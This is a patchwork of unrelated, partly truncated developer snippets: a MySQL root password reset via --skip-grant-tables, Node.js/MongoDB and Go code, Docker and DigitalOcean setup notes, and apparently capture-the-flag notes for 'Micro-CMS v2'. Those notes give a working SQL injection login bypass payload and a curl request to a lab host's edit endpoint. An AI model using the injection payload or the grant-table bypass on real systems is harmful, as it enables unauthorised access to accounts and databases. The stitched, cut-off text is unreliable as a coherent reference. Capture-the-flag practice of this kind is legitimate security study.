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Update: On 8.0.15 (maybe already before that version) the PASSWORD() function does not work You have to do:

Make sure you have Stopped MySQL first (above). Run the server in safe mode with privilege bypass: sudo mysqld_safe --skip-grant-tables

UPDATE mysql.user SET authentication_string=null WHERE User='root';
FLUSH PRIVILEGES;
exit;

Then

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"""
Single Responsibility Principle
“…You had one job” — Loki to Skurge in Thor: Ragnarok
A class should have only one job. 
If a class has more than one responsibility, it becomes coupled. 
A change to one responsibility results to modification of the other responsibility.
"""

class Animal:
    def __init__(self, name: str):

dsl2022

const csv = require("csv-parser");
const fs = require("fs");
require("dotenv").config();
const { MongoClient } = require("mongodb");
const { CSV_FILE, MONGO_URI, COLLECTION_NAME, DB_NAME } = process.env;

async function mongoHandler(data) {
  const client = new MongoClient(MONGO_URI, {
    useNewUrlParser: true,
    useUnifiedTopology: true,

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Micro-CMS v2

flag 1 Username: ' UNION SELECT '123' AS password# Password: 123

flag 2 use POST curl -i -X POST -H 'Content-Type: application/json' -d '{"title":"test","body":"test"}' http://34.94.3.143/9e7647466c/page/edit/4

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UPDATE (March 2020, thanks @ic): I don't know the exact AMI version but yum install docker now works on the latest Amazon Linux 2. The instructions below may still be relevant depending on the vintage AMI you are using.

Amazon changed the install in Linux 2. One no-longer using 'yum' See: https://aws.amazon.com/amazon-linux-2/release-notes/

Docker CE Install

sudo amazon-linux-extras install docker
sudo service docker start

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Node.js Deployment

Steps to deploy a Node.js app to DigitalOcean using PM2, NGINX as a reverse proxy and an SSL from LetsEncrypt

1. Sign up for Digital Ocean

If you use the referal link below, you get $10 free (1 or 2 months) https://m.do.co/c/5424d440c63a

2. Create a droplet and log in via ssh

I will be using the root user, but would suggest creating a new user

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Go (Golang) Standard Library Interfaces (Selected)

This is not an exhaustive list of all interfaces in Go's standard library. I only list those I think are important. Interfaces defined in frequently used packages (like io, fmt) are included. Interfaces that have significant importance are also included.

All of the following information is based on go version go1.8.3 darwin/amd64.

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.
├── books
│   ├── handlers.go
│   └── models.go
├── config
│   └── db.go
└── main.go

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CREATE TABLE books (
  isbn    char(14) NOT NULL,
  title   varchar(255),
  author  varchar(255),
  price   decimal(5,2)
);

INSERT INTO books (isbn, title, author, price) VALUES
('978-1503261969', 'Emma', 'Jayne Austen', 9.44),
('978-1514274873', 'Journal of a Soldier', NULL, 5.49),

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"use strict";

var MongoClient = require("mongodb").MongoClient;
require("dotenv").config();

let atlas_connection_uri;
let cachedDb = null;

exports.handler = (event, context, callback) => {
  var uri = process.env["MONGODB_ATLAS_CLUSTER_URI"];